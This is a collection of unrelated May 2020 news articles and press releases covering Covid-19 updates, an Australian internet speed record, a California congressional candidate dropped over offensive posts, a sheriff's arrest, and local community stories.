Shanay Fulton, the asset mapping manager with Middletown Works, and I have come together to create a team of people who live, work, and worship in Middletown to be a part of this asset mapping process.

Taking an approach of asset mapping allows for us as a community to look toward our preferred future through a methodology of asking questions that focus on identifying our preferred future, our dreams, and our desires.

By using appreciative inquiry and asset mapping, we have the opportunity to develop the strengths that we already possess to get to where we desire to be.

Wilhelm is excited about asset mapping and collaboration: Middlesex United Way believes in understanding and utilizing the strengths of the community so that everyone thrives. Asset mapping helps identity strengths and gaps. We need to enhance our strengths and close the gaps that exist.

Im excited to see the outcome of the asset mapping when it is completed, as it will inform our opportunities to serve our communities even more effectively, Wilhelm added.

The work that weve started as a community since the outbreak of the coronavirus does not have to stop once we reconvene to normal life. The work that were doing with the asset mapping will help us to continue to build each other up using our strengths and assets to build into our dreams and desires for a preferred future.

If you are interested in participating in the Asset Mapping project, please contact me at kaitlin_binnington1@baylor.edu or at 860-990-5444.

Kaitlin Binnington is a student at Baylor University and member of the Middlesex United Way Young Leaders Society.
Researchers from Monash, Swinburne and RMIT universities have successfully tested and recorded Australia's fastest internet data speed, and that of the world, from a single optical chip - capable of downloading 1000 high definition movies in a split second.

Published in the prestigious journal Nature Communications, these findings have the potential to not only fast-track the next 25 years of Australia's telecommunications capacity, but also the possibility for this home-grown technology to be rolled out across the world.

In light of the pressures being placed on the world's internet infrastructure, recently highlighted by isolation policies as a result of COVID-19, the research team led by Dr Bill Corcoran (Monash), Distinguished Professor Arnan Mitchell (RMIT) and Professor David Moss (Swinburne) were able to achieve a data speed of 44.2 Terabits per second (Tbps) from a single light source.

This technology has the capacity to support the high-speed internet connections of 1.8 million households in Melbourne, Australia, at the same time, and billions across the world during peak periods.

Demonstrations of this magnitude are usually confined to a laboratory. But, for this study, researchers achieved these quick speeds using existing communications infrastructure where they were able to efficiently load-test the network.

They used a new device that replaces 80 lasers with one single piece of equipment known as a micro-comb, which is smaller and lighter than existing telecommunications hardware. It was planted into and load-tested using existing infrastructure, which mirrors that used by the NBN.

It is the first time any micro-comb has been used in a field trial and possesses the highest amount of data produced from a single optical chip.

"We're currently getting a sneak-peak of how the infrastructure for the internet will hold up in two to three years' time, due to the unprecedented number of people using the internet for remote work, socialising and streaming. It's really showing us that we need to be able to scale the capacity of our internet connections," said Dr Bill Corcoran, co-lead author of the study and Lecturer in Electrical and Computer Systems Engineering at Monash University.

"What our research demonstrates is the ability for fibres that we already have in the ground, thanks to the NBN project, to be the backbone of communications networks now and in the future. We've developed something that is scalable to meet future needs.

"And it's not just Netflix we're talking about here - it's the broader scale of what we use our communication networks for. This data can be used for self-driving cars and future transportation and it can help the medicine, education, finance and e-commerce industries, as well as enable us to read with our grandchildren from kilometres away."

To illustrate the impact optical micro-combs have on optimising communication systems, researchers installed 76.6km of 'dark' optical fibres between RMIT's Melbourne City Campus and Monash University's Clayton Campus. The optical fibres were provided by Australia's Academic Research Network.

Within these fibres, researchers placed the micro-comb - contributed by Swinburne University, as part of a broad international collaboration - which acts like a rainbow made up of hundreds of high quality infrared lasers from a single chip. Each 'laser' has the capacity to be used as a separate communications channel.

Researchers were able to send maximum data down each channel, simulating peak internet usage, across 4THz of bandwidth.

Distinguished Professor Mitchell said reaching the optimum data speed of 44.2 Tbps showed the potential of existing Australian infrastructure. The future ambition of the project is to scale up the current transmitters from hundreds of gigabytes per second towards tens of terabytes per second without increasing size, weight or cost.

"Long-term, we hope to create integrated photonic chips that could enable this sort of data rate to be achieved across existing optical fibre links with minimal cost," Distinguished Professor Mitchell said.

"Initially, these would be attractive for ultra-high speed communications between data centres. However, we could imagine this technology becoming sufficiently low cost and compact that it could be deployed for commercial use by the general public in cities across the world."

Professor Moss, Director of the Optical Sciences Centre at Swinburne University, said: "In the 10 years since I co-invented micro-comb chips, they have become an enormously important field of research.

"It is truly exciting to see their capability in ultra-high bandwidth fibre optic telecommunications coming to fruition. This work represents a world-record for bandwidth down a single optical fibre from a single chip source, and represents an enormous breakthrough for part of the network which does the heaviest lifting. Micro-combs offer enormous promise for us to meet the world's insatiable demand for bandwidth."

###

To download a copy of the paper, please visit: https://doi.org/10.1038/s41467-020-16265-x

The research collaboration was led by Dr Bill Corcoran (Monash University), Distinguished Professor Arnan Mitchell (RMIT University) and Professor David Moss (Swinburne University); with support from Mengxi Tan, Xingyuan Xu and Dr Jiayang Wu (Swinburne University); Dr Andrea Boes and Dr Thach G Nguyen (RMIT University); Professor Sai T Chu (City University of Hong Kong); Dr Brent Little (Xi'an Institute of Optics and Precision Mechanics); and Professor Roberto Morandotti (INRS-Energie and University of Electronic Science and Technology of China).

MEDIA ENQUIRIES

Monash University - Leigh Dawson

T: +61 455 368 260 E: leigh.dawson@monash.edu

RMIT University - Michael Quin

T: +61 499 515 417 E: michael.quin@rmit.edu.au

Swinburne University - Lea Kivivali

T: +61 455 502 999 E: lkivivali@swin.edu.au
The California GOP removed its support for House candidate Ted Howze after a string of old inflammatory social media posts came to light.

Howze strenuously denied that he had posted the comments, which he called 'ugly and demeaning', claiming they were uploaded by someone else - who he refused to name.

A string of posts over a two-year period, espoused conspiracy theories and mocked Muslims and the Black Lives Matter movement. One post said that Democrats Hillary Clinton and Rep. Debbie Wasserman Schultz (D-Fla.) were murderers.

This undated photo provided by the Howze for Congress campaign shows Republican 10th Congressional District candidate Ted Howze in Modesto, Calif. California is one of the most heavily Democratic states in the country, but Republicans this year are determined to regain a string of U.S. House seats the party lost to Democrats two years ago

In one post targeting the BLM movement he wrote: 'As a culture 95% percent of you vote in lock step for the same political party who held you as physical slaves and now wish to keep you as political slaves unable to effect any real change for the better.'

He also accused the Clintons of leaving 'a trail of bodies as long as the Mississippi River behind them,' Politico reported.

Another inflammatory post suggested the Orlando Pulse nightclub shootings were supported by the Obama administration, who wanted to 'lay off Muslims'.

The unanimous decision to oust Howze came yesterday, with the GOP Chair, Jessica Millan Patterson calling the posts 'disgraceful' and 'disgusting'.

Pictured: Ted Howze, second from right, with his family in an undated photograph

Pictured: One post targeted the Black Lives Matter campaign, using bogus statistics to criticize them

Howze also targeted the Dreamers and suggested all their parents are criminals

'Mr. Howze's social media posts recently revealed through news reports are disgraceful, disgusting and do not represent the values we hold or the Party we are building,' Patterson said in a statement.

Yesterday, Howze doubled down on his innocence, calling the accusations 'Brett Kavanaugh style attacks'.

'The maliciously false attacks on our campaign based [on] old social media posts being attributed to me are Fake News.

'They do not resemble anything close to my personal words or actions exhibited during my decades-long record of service in the Central Valley,' Howze said in a statement.

Howze's district is a competitve red-to-blue California seat, which could have dramatic consequences for the party's control of the House if lost.
The May edition of the Monetary Policy Committee (MPC) meeting earlier scheduled for Monday and Tuesday, May 25 and 26, 2020, respectively has been rescheduled.

The spokesperson of the Central Bank of Nigeria (CBN), Isaac Okorafor, said on Thursday the decision to reschedule the meeting followed the public holiday to celebrate the Muslim Eid-el Fitr holidays which coincided with the previous schedule.

The statement by the CBN reads: This is to inform our stakeholders and the general public that the May 2020 meeting of the Monetary Policy Committee (MPC) of the Central Bank of Nigeria (CBN) earlier scheduled for Monday and Tuesday, May 25 and 26, 2020, respectively will now hold on Thursday, May 28, 2020.

This is as a result of the declaration of Monday and Tuesday, May 25 and 26, 2020, as Eid-el Fitr holidays.

For the avoidance of doubt, the CBN has put in place all necessary machinery for the meeting to now hold for only one day on account of the on-going COVID-19 national lockdown and to align this meeting with extant rules of the Presidential Task Force (PTF) on COVID-19 and advisories from other relevant agencies.

All inconveniences caused by these changes are regretted, Mr Okorafor said.

The MPC is a committee of experts of the CBN responsible for formulating monetary and credit policies towards realising the mandate of the apex bank of financial system stability.

In line with sub-section 2 (d) and (e) of the CBN Act the MPC, which is Chaired by the governor of the CBN, has four Deputy Governors of the apex bank as members.

Other members include two members of the board of directors of the bank and three others appointed by the president and two appointed by the CBN governor.
New Delhi: The Delhi High Court on Friday (May 22) refused to stay conviction of former Jharkhand Chief Minister Madhu Koda. In his plea, Koda sought a stay on his conviction order in a coal block allocation case so that he can contest elections.

The High Court, however, dismissed his plea observing "it would not be apposite for this court to stay his conviction to overcome the disqualification incurred by him," adding "it would not be apposite to facilitate the appellant to contest the elections for any public office, till he is finally acquitted."

Madhu Koda was convicted in 2017 by a trial court for the offence of criminal misconduct and under provisions of the Prevention of Corruption Act 1988 in the coal block case.

The court observed that it has the power to stay the conviction, but such power should be exercised in exceptional circumstances and in cases where this court is convinced that not staying the conviction would lead to injustice and irreversible consequences.

Dismissing Koda's application, the HC said that while it is contended that this would lead to injustice and irreversible consequences, the court must also consider wider ramifications of the same.

"In recent times, there has been an increasing demand that steps be taken for the decriminalization of politics. A large number of persons with criminal antecedents or who are charged with heinous crimes stand for and are elected to Legislative Assemblies and Parliament," the court observed.

The court said that if the wider opinion is that persons charged with crimes ought to be disqualified from contesting elections to public offices, it would not be apposite for this court to stay his conviction to overcome the disqualification incurred by him.
Police in New Mexico have arrested a local sheriff on Thursday after he allegedly refused to comply with a search warrant for his phone that authorities needed to check for evidence of him interfering with criminal cases.

Espanola Police arrested Rio Arriba County Sheriff James Lujan after he refused to unlock and turn over his phone to responding officers, instead insisting to speak with his attorney.

'Wow, I'm handcuffed,' Sheriff Lujan said to officers as he was being detained. 'You tell me to do something. I can't do nothing because I'm handcuffed. I asked for my attorney.'

Espanola Police arrested Rio Arriba County Sheriff James Lujan on Thursday after he refused to unlock and turn over his phone to responding officers

Police had a warrant for the phone because they believed it would show evidence of the sheriff interfering in criminal cases, including ones involving Espanola City Councilor John Vigil and Phillip Chacon. Chacon has been arrested numerous times in the area.

'I think the search warrant is incorrect and possibly invalid, but we'll have to take that up with the court,' Defense Attorney Nathaniel Thompkins explained to KRQE.

When police showed up to obtain Lujan's work and personal cell phones, last week, he accused them of treating him unfairly.

When police showed up to obtain Lujan's work and personal cell phones, last week, he accused them of treating him unfairly

One video filmed in March showed Lujan on the scene of a SWAT situation with the iPhone. He is said to have smelled of alcohol

'This is harassment and retaliation because I told the city council that you shouldn't be the chief,' he stated in a brief police clip.

Sheriff Lujan would eventually hand over his devices but police later noticed that he did not give them his iPhone

Sheriff Lujan would eventually hand over his devices but police later noticed that he did not give them his iPhone.

The phone was seen in police footage from Espanola Police scenes where the sheriff is accused of trying to take over or intrude.

One video filmed in March showed Lujan on the scene of a SWAT situation with the iPhone.

Police were trying to arrest Chacon for a probation violation when the sheriff arrived, they said.

Lujan is said to have smelled of alcohol and was a distraction for the officers, refusing to leave.

He was charged with resisting and for evading or obstructing an officer. The sheriff was given two additional charges on Thursday.
STANFORD, Calif., May 22, 2020 /PRNewswire/ -- Stanford Children's Health published new information to help parents keep their children safe at home during the COVID-19 pandemic. The Q&A, featuring Stephanie Chao, MD, the trauma medical director for Lucile Packard Children's Hospital Stanford and an assistant professor of surgery at the Stanford University School of Medicine, is available at https://healthier.stanfordchildrens.org/en/safe-at-home.

Chao's research focuses on preventing childhood injury, which is the leading cause of death among children. She notes that there are increased safety risks as children are sheltering-in-place at home with their families. Normally children are out of the house 7 to 10 hours a day in a supervised environment. Now these children are home, and parents are juggling more than they ever have had to before as they try to balance working from home, caring for and educating their kids.

To help keep kids safe during this time, Chao offers helpful tips for parents and caregivers, including:

Survey your home. Things that can be used as a launching point for kids have to be put away.

Make sure a bed or a couch isn't near a window, and install window locks or window guards. The number one cause of unintentional injury among children is falls outside of a window

Ensure that cleaning supplies and medications are locked away

If your child is going to run outside, make sure they are supervised

For families with a pool, see that the gate is locked and that there is a child-safe pool cover

Empty all kiddie pools, buckets and containers immediately after use, and store them upside down

When riding bikes or scooters, make sure kids are wearing helmets

Within the article, Chao also discusses risks specific to teens, the potential impact of psychological trauma as a result of the pandemic, and coping mechanisms for parents during this time.

If parents have a concern about their child's health in an emergency situation, they should bring the child to the hospital. At Lucile Packard Children's Hospital Stanford, care teams have made it very safe to bring children in during the pandemic through measures that include testing of all employees and staff for COVID-19, and treatment of all COVID-19 patients in a designated area of the hospital.

For more information about the Childhood Injury Prevention Program, visit safety.stanfordchildrens.org.

About Stanford Children's Health

Stanford Children's Health, with Lucile Packard Children's Hospital Stanford at its center, is the Bay Area's largest health care system exclusively dedicated to children and expectant mothers. Our network of care includes more than 65 locations across Northern California and more than 85 locations in the U.S. Western region. As part of Stanford Medicine, a leading academic health system that also includes Stanford Health Care and Stanford University School of Medicine, we are cultivating the next generation of medical professionals and are at the forefront of scientific research to improve children's health outcomes around the world. We are a nonprofit organization committed to supporting the community through meaningful outreach programs and services and providing necessary medical care to families, regardless of their ability to pay. Discover more at stanfordchildrens.org.

Media contact:

Samantha Beal

[email protected]

650-498-7056

SOURCE Stanford Childrens Health

Related Links

https://www.stanfordchildrens.org


University of Pennsylvania Hospital has a texting "bot" to help determine which COVID patients need to go to the hospital. Read more

Saladin Webb had a sore throat and difficulty breathing in early April. Jessica Waber had the same, plus a fever and upset stomach.

In normal times, many with those symptoms would head to the emergency room. But with hospitals scrambling to preserve resources for the sickest patients in a pandemic, how should people with COVID-19 decide whether to go?

And can they take steps to keep symptoms from getting worse, maximizing their likelihood of being able to stay home?

As with so many other questions about the coronavirus, absolute certainty remains elusive. And physicians remain concerned about a related problem: people with other emergencies who stay away from the hospital for fear of becoming infected. If you have symptoms of a possible heart attack (chest pain) or stroke (drooping face, unexplained weakness in one arm, or sudden confusion and difficulty speaking), do not hesitate. Seek medical attention fast.

For people infected with the coronavirus, one way to obtain clarity may lie in a Penn Medicine project called COVID Watch. Homebound patients are prompted twice a day to text updates on their condition, helping nurses and doctors to identify who needs hospital care.

Webb, 36, of Glassboro, is among more than 3,000 Penn patients who have enrolled in the program since it began March 23. An additional 100 or so have signed up from the Main Line Health system, which joined the program a few weeks later at Penns invitation.

Knowing when to go

The series of automated questions has been tweaked a few times as Penn researchers analyzed how well it was helping them identify the sickest patients, but the two most important have always been How are you feeling compared to 12 hours ago? and Is it harder than usual for you to breathe?

An answer of worse to the first prompt or yes to the second results in a phone call from a live person.

On April 12, Webb texted both of those responses. Within 10 minutes, he got a call from Catherine Armetta, a nurse at the Hospital of the University of Pennsylvania.

I was like, Whoa! he recalled.

Difficulty breathing is a warning sign, but it does not necessarily mean a hospital visit is needed.

Armetta asked Webb whether he was able to walk to the bathroom and go about his other daily activities without his breathing growing worse. He was. And he spoke easily, not needing to pause in the middle of sentences. The nurse advised him to stay at home.

I did not hear any red flags, she said.

She also gave him tips on using an inhaler that had been prescribed by his primary-care physician, and reminded him he could always text or call back if his symptoms grew worse. (In some cases, patients are given a pulse oximeter  a device that measures oxygen levels in the blood.)

 HELP US REPORT: Are you a health care worker, medical provider, government worker, patient, frontline worker or other expert? We want to hear from you.

Roughly 12% to 15% of patients escalate to needing a live phone call at some point within two weeks of enrolling in the automated-texting program, said David Asch, director of Penns Center for Health Care Innovation.

More than half of those who are called, like Webb, end up being counseled to stay home, suggesting that the program is casting a broad net. But that is fine, Asch said. The real problem would be if it missed patients who did need the hospital, and so far no such false negatives seem to have occurred, Asch said.

Riding it out at home

Clarity has been harder to achieve for Waber, 36, a Center City resident who was not part of the texting program.

She experienced initial symptoms the first week of April, before the virus was widespread in Philadelphia. The symptoms seemed mild at first, and Waber, an English teacher at Masterman School, wondered whether she had COVID-19.

But on the sixth day of her illness, she felt terrible chest pain, almost as if she had a bruise on her sternum. That is not the type of chest pain normally associated with a heart attack, so she thought maybe it was the virus. Her physician suggested she wait a day or two to see whether she felt better.

 READ MORE: To do: Pack a hospital bag now in case you get sick

She drank Gatorade, walked around her apartment, and stretched her arms, reasoning that staying in motion would help her lung function. She got down on all fours, which immediately made the chest pain subside  a home equivalent of how doctors have been advising hospitalized COVID patients to lie in a prone position.

But two days later, on April 16, she still felt sick, and went to the emergency room at Pennsylvania Hospital. An X-ray showed her lungs were clear. And to her surprise, she tested negative for the virus. Doctors told her she likely had it, but perhaps it was so late in her illness that the virus could no longer be detected.

Waber was not admitted to the hospital, but she was sure that visiting the E.R. had been the right call.

It felt really good to be seen and heard, she said.

Fluids and motion

What about her attempts to manage symptoms at home? As near as physicians can tell so far, the coronavirus is little different from other respiratory illnesses in that regard, said Lawrence L. Livornese Jr., chair of the department of medicine for Main Line Health.

The usual advice to drink fluids is especially important with COVID-19, as the virus can impair kidney function, he said.

Sleep is beneficial, yet the person should try to move about during the day, if possible  to aid both lung function and blood flow. Physicians have reported worrisome blood clots in a minority of patients, so maintaining circulation could help.

One unanswered question: whether to let the fever burn," in hopes that it will help control the virus, or to lower it with Tylenol or ibuprofen. The jury is out on that one, both for the coronavirus and other fever-inducing illnesses, Livornese said.

 READ MORE: Doctors offices are reopening. Why you might want to visit virtually as COVID-19 continues. l Opinion

An elevated temperature is part of the bodys response to infection. Yet fever-reducing medication makes sense for patients who otherwise cannot sleep, or who feel too sick to perform daily activities, he said.

Waber is not sure what steps helped the most, if at all. Though her breathing improved, other symptoms dragged on. And her fever, after subsiding, came back in May.

In a final blow of uncertainty, last week she got the results from a blood test to see whether her immune system had made antibodies to the virus. None were detected.

Is she one of the few COVID-19 patients who dont make antibodies? Or did she have something else entirely?

Its very frustrating, she said. You just dont know what your body is doing.
Midday approached as Ken Kruger pulled his brown cart down the darkened hallway of the empty hotel building.

"OK, 1207," he said, parking his operation in front of a hotel room door. "We got an open window in here that needs to close."

Inside he shut the blinds, turned off a lamp and then consulted his map for his next stop on the top floor of the DoubleTree in Arlington, Virginia's Crystal City neighborhood. Kruger was moving briskly. He was hoping to make quick work of what has become an important and highly visible part of his job: replacing the design displayed on the hotel's north tower. He's responsible for opening and closing shades of empty rooms, which trumpet uplifting messages to commuters along Interstate 395, where the busy freeway connects Washington and Northern Virginia.

First, there was a giant heart. And then the word "HOPE," followed last month by "LOVE." On Thursday, it was time for a new message that hotel workers hoped would inspire people, however briefly, in a region still very much reeling from the pandemic.

"This next room we'll leave open," Kruger said, working his way down the hallway, consulting a color-coded map along the way.

"All right, 12s done," he said. "Only nine more floors."

In mid-March, as the virus began seizing American life in ways big and small, hotel occupancy across the country plummeted. The 48-year-old hotel near the airport, perhaps best known for its revolving rooftop restaurant, consolidated its guests into a single building and kept its north tower empty. They were still operational, still booking guests and still meeting each day as a staff.

"We were itching for an idea to do something more," said Charles Hill, the DoubleTree general manager. "We're in hospitality; what we do is take care of people. While that's constrained a little bit right now, we had this really good opportunity."

They began to focus on the empty tower, so visible from one of the region's busiest thoroughfares. They viewed the tower as a canvas in need of a message.

"We wanted people to know: You're not alone, people are thinking about you," Hill said.

They settled on a heart, which felt like a unifying symbol that also seemed reasonably easy to execute. Kruger initially pulled back enough blinds to create a minimalist outline. A few days later, he went room by room again and filled in the heart. The result was a striking image, especially at night - glowing for commercial planes landing at Reagan National Airport and vehicles zipping through the city.

The feedback was positive and the hotel staffers continued throwing around ideas. They did "LOVE" in mid-April and "HOPE" a couple of weeks later.

As they discussed their options for a new message in May, Hill thought about what he had been seeing in his hotel the past several weeks. He kept coming back to one night, in particular, when a Southwest Airlines pilot approached the front desk. He brought a woman with two children from the airport who had been stranded for the night, their connecting flight canceled.

The pilot offered to pay for their room and then pulled out his wallet, handing the woman cash for a meal.

"The woman started to cry and asked the pilot, 'Can I give you a hug?'" Hill recalled. "I was watching this whole thing, just an ultimate sign of kindness and humanity where for a minute you stop thinking about social distancing and quarantining and everything going on in the world and all you see is this act of kindness."

Hill didn't charge the pilot or the woman for the room, and weeks later, he and Kruger plotted out their fourth design: "KIND."

"It reminds me why we work in hotels," Hill said.

As the building's director of engineering, Kruger is responsible for building operations, which gives him a lead role in the project. In addition to executing each design, he often ends his shift by turning on all of the lights, starting his next morning going room to room to flick them all off.

After the initial heart design, both the planning and the execution have become more sophisticated.

"It's kind of like a Lite-Brite, if you ever had those," Kruger said of the 1970s-era children's toy.

They started with a basic photograph of the tower and a highlighter to mark the windows. Then they plotted out designs in PowerPoint and an Excel spreadsheet. As Kruger turned "LOVE" into "KIND," he relied on a color-coded sheet that told him which rooms needed blinds opened, which needed them shut and which required no change at all.

There are 10 floors in the tower with 33 windows per floor - 333 windows in all. They figure that's just enough for four letters, possibly five if they avoid pesky M's, W's or other wide-berth letters. "KIND" requires open shades in 74 rooms. Kruger moved from the top floors to the bottom, from left to right, one room at a time. Room 717 needed the blinds closed; next door in 719 they needed to be opened; and in 721 Kruger had to leave one panel but cover two others, a small piece of the "N."

"Ah, a sofa," he said after stepping into one room. "Ugh."

After pulling the blinds open, Kruger pushed the sofa out of the way and moved the lamp. "Wrong lightbulb here," he said. Kruger wants consistent lighting for the nighttime display, so he makes sure every bulb is 26 watts. He's particular about these details, so he also positions the lamp two feet from window.

"I'm usually not a fast walker," he said, moving on, "but it's important to move through these rooms quickly."

Kruger wants the turnover to be completed by midafternoon, beating what remains of rush hour traffic.

"I don't want somebody to have their one drive of the month across the bridge to see half an 'H' and an 'L' and have no idea what the message is," he said.

Kruger closed the blinds in room 435 and then checked in to make sure the light was on in 437.

"Last one," he said after nearly three hours of going door to door. "That should be it."
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1. Yes. Too many kids are staying home. They need a virtual learning option to keep up.

2. Yes. Teachers are out sick and subs cant handle the load. Online learning is needed.

3. No. Its too late in the school year to make a wholesale switch in teaching platforms.

4.No. Many parents arent in a position to stay home while their kids learn virtually.

5. Unsure. It may seem like a good idea from a health standpoint, but it has shortcomings.

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By Express News Service

THIRUVANANTHAPURAM: Two tested positive for Covid-19 in the district on Thursday taking the total number of patients from the district to eight. One of the patients is a 40-year-old Parassala native from Mumbai who is now under treatment at Kottayam Medical College after he got unwell during travel on May 19.

The second is a 50-year-old Kochuveli native who returned from Kuwait on Wednesday. Both are now in Government Medical College here. As many as 209 new patients were put under observation in the district on Thursday while a total of 61 people are under hospital isolation in the district now.

32 patients are under observation at Medical College, 13 at General Hospital, 4 at Peroorkada Mental Health Centre, 8 at SAT Hospital and four in various private hospitals. As many as 4,787 people are under home quarantine. On Thursday, 18 people were newly admitted in hospital and four people were discharged. 94 samples were sent for testing. 87 results received on the day were negative.

167 calls were made to the Collectorate Control Room and 89 calls to the Disha Call Centre on Thursday. Seven people who were in need of psychological support called to the mental health help line. 469 people were called and offered mental support. A total of 593 people are under institutional quarantine in 19 centres in the district.
Source: Xinhua| 2020-05-22 22:42:34|Editor: huaxia

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ADDIS ABABA, May 22 (Xinhua) -- The number of confirmed COVID-19 positive cases across Africa surpassed 100,000 as of Friday afternoon, the Africa Center for Disease Control and Prevention (Africa CDC) said.

The Africa CDC in its latest situation update issued on Friday revealed that the number of confirmed COVID-19 positive cases across the continent rose from 95,201 on Thursday to 100,330 as of Friday afternoon, registering about 5,129 new cases during the stated period.

The death toll due to the COVID-19 pandemic across the African continent also surged from 2,997 on Thursday afternoon to 3,101 as Friday afternoon, eventually registering about 104 new deaths during the past 24-hours period, according to the Africa CDC.

The Africa CDC also disclosed that some 39,416 people who have been infected with the COVID-19 have recovered across the continent as of Friday afternoon, registering some 1,341 new recoveries during the past 24-hours period.

The continental disease control and prevention agency also noted that the virus has spread into all of the 54 African countries.

The Africa CDC also disclosed that the Northern African region is the most affected area across the continent both in terms of positive COVID-19 cases, as well as the number of deaths. Enditem
(Alliance News) - On The Beach Group PLC on Friday said it has raised GBP67.3 million through the placing of 26.1 million shares at 257.5 pence each

The beach-holiday travel agent said the placing shares represent 19.9% of its existing issued share capital with the placing price equal to Thursday's closing price. The stock was trading 1.6% higher at 261.50p each on Friday morning in London, giving the company a market capitalisation of GBP341.2 million.

On The Beach said substantial shareholder Mawer Investment Management Ltd agreed to subscribe for 4.1 million placing shares, paying GBP10.6 million.

Chief Executive Officer Simon Cooper subscribed for 388,350 placing shares via Hawksford Trustees Jersey Ltd, contributing GBP1.0 million. Hawksford now has a 6.2% stake and Cooper has 1.3% directly, giving him a 7.5% total interest. Some other company directors and their associates subscribed for a total of 30,935 placing shares.

The new cash realised from the fundraise will provide greater resilience, flexibility and financial firepower through the current downturn caused by the Covid-19 pandemic, the company said. On The Beach said on Thursday the vast majority of bookings taken in the first half of its financial year will not travel as planned.

Following admission, On The Beach's total issued share capital will comprise 157.4 million shares.

By Ife Taiwo; ifetaiwo@alliancenews.com

Copyright 2020 Alliance News Limited. All Rights Reserved.
Source: Xinhua| 2020-05-22 15:54:30|Editor: huaxia

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NANJING, May 22 (Xinhua) -- In Yaoguan Town of Changzhou City in east China's Jiangsu Province, lichens have been recently spotted on mud and plant surfaces, which has not happened in 30 years or so.

Although largely ignored, lichens, a collective of an alga and a fungus that live together and create a composite species, are sensitive to air pollution and serve as an early warning system for pollution in the environment.

"Lichen is looked upon as the environmental monitor because it is quite sensitive to automobile exhaust, industrial waste gas and acid rain," said Feng Hui, Party secretary of the town.

In addition to lichens, jellyfish and egrets have also appeared in Yaoguan Town in recent years, reflecting the improvement of the local environment and ecology, Feng added.

Rare and endangered species reappeared not only in the lakes, but also in the forests in Jiangsu and its nearby seas.

Among them, sea bass returned to the estuary of the Guan River in Guanyun County in the city of Lianyungang, after the county rectified its chemical enterprises to protect the local water quality.

"At present, the water quality at 12 offshore monitoring sites are up to standard," said Zhu Xingbo, head of Guanyun County.

Butterflies are commonly recognized as valuable environmental indicators for their sensitive responses to subtle environmental and climatic changes. Yang Guodong, a doctor from the Jiangsu provincial academy of environmental science, said they monitored 137 species of butterflies from 2017 to 2019 in Jiangsu, with the number on the rise from previous years.

On the eve of the International Day for Biological Diversity, which fell on Friday, Jiangsu announced that it has discovered 4,588 types of species since it launched a background investigation into biodiversity in 2017.

"We found a total of 165 rare and endangered species during the investigation, most of which are more numerous and more widespread than ever before," said Wang Beixin, a professor from the department of entomology in Nanjing Agricultural University.

"For example, the tiger swallowtail butterfly, originally mainly spotted in Nanjing, has spread gradually to southern cities in Jiangsu such as Changzhou," Wang said.

As a region boasting plentiful natural resources and abundant species, Jiangsu attaches great importance to biodiversity conservation, said Zhu Deming, an official with the provincial ecology and environment department.

The province launched a plan to protect species biodiversity in 2014 and reinforced the protection of some endangered species in the Yangtze River, such as Chinese sturgeons and finless porpoise, in 2019.

According to Zhu, Jiangsu has designated a "red line" for ecological protection in 407 regions and implemented strict space management. In addition, it confirmed 22.49 percent of its land area as ecological protection areas.

"The 31 nature reserves are sheltering nearly 60 percent of species in the province," Zhu said, adding that Jiangsu is establishing a provincial-level data platform on biodiversity, which will be open to the public to attract more people to engage in protecting various species. Enditem
By Ayya Lmahamad

Bank Respublika has signed an agreement with the International Finance Corporation to improve access to loan products for entrepreneurs working in the agricultural sector and further accelerate the lending process, press-service of the bank reports on May 21.

According to the agreement, the bank will implement a new risk management system CLARA, which will expand lending opportunities to agriculture.

The new system will be aimed at developing entrepreneurship in all regions of Azerbaijan in line with the bank's strategic direction.

As part of the cooperation, people working in various fields of agriculture will be able to obtain loans faster and easier by applying to branches of the Bank of the Republic covering all regions of the country.

The expansion of cooperation under the new agreement is an indicator of the success of many projects with IFC.

In accordance with its strategy, the bank contributes to the development of the non-oil sector in industry, agriculture, construction, trade and services by implementing projects that support the population, micro, small and medium enterprises.

Bank Respublika started its activity on May 22, 1992 under the license of the National Bank of Azerbaijan Republic.

---

Follow us on Twitter @AzerNewsAz
Russia has reported the highest daily spike in coronavirus deaths on Friday, as health officials registered 150 deaths in the last 24 hours, bringing the country's toll to 3,249.

Russia's comparatively low mortality rate has raised eyebrows in the West, with some suggesting that the country's government may be underreporting virus-related deaths and manipulating the statistics.

Russian officials vehemently deny the allegations and attribute the low numbers to the effectiveness of the measures taken to curb the spread of the outbreak.

Russia's coronavirus caseload has exceeded 326,000 on Friday, with health officials reporting almost 9,000 new infections.

Earlier this month President Vladimir Putin announced gradually lifting lockdown restrictions, saying that Russia was able to slow down the epidemic and it was time for gradual reopening.

The vast majority of the country's regions have been on lockdown since March 30.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A sitting of the 14th National Assemblys ninth session (Photo: VNA)

In the morning, Deputy Prime Minister and Foreign Minister Pham Binh Minh is going to submit the draft law on international agreements, on which a verification report will be later presented by Chairman of the NAs Committee for External Relations Nguyen Van Giau.

The bill consists of seven chapters with 53 articles, stipulating the jurisdiction, order, and procedures for signing, amending, supplementing, extending, ending the validity, and suspending the implementation of international agreements.

After that, Nguyen Hanh Phuc, NA Secretary General and Chairman of the NA Office, will deliver a report on the parliaments draft supervisory programme for 2021.

Chairman of the NAs Committee for Legal Affairs Hoang Thanh Tung will submit the draft law and ordinance making programme for 2021 and draft revisions to this years law and ordinance making programme. Following this, legislators will engage in online discussions about the plans.

In the afternoon, a draft law amending and supplementing some articles of the law on handling administrative violations is set to be submitted by Minister of Justice Le Thanh Long.

Tung will present a verification report on this bill and later another report on amendments to the draft law revising and supplementing some articles of the law on promulgation of legal documents. An online debate will follow this.

The ninth session is taking place online from May 20 to 29, and deputies will gather at the NA building in Hanoi for plenary meetings from June 8 to 18.
Protesters call for the reopening of churches in Huntington Beach on May 9. (Raul Roa / Los Angeles Times )

Gov. Gavin Newsom vowed to provide plans Monday for reopening California churches amid mounting pressure to allow in-person religious services both from protesters and President Trump, who is demanding that governors take action immediately.

Newsom's comment comes just days after he said opening churches to congregants was "a few weeks away." The governor said he has been meeting with religious leaders for weeks to craft a plan for the safe reopening of churches for services, including efforts to sanitize pews, ensure safe distancing and other safety protocols.

"We look forward to churches reopening in a safe and responsible manner, and we have guidelines that we anticipated completing on Monday and we're on track to do just that," Newsom said during a COVID-19 briefing held at the Veterans Home of California in Yountville on Friday.

Newsom's comments came hours after Trump made an unexpected appearance in the White House briefing room to declare that he was designating churches "essential" businesses so that they can immediately reopen.

Trump, who has said he would leave decisions about easing public health guidance to states but has often criticized decisions by individual governors, threatened that he would "override" states that didn't heed his directive. It was not clear what authority he was referring to.

His comments, in tenor and tone, made clear that the announcement was largely about signaling that he continues to fight for religious conservatives, a core element of his political base where Trump's support has eroded somewhat in recent weeks amid broader questions about his response to the pandemic.

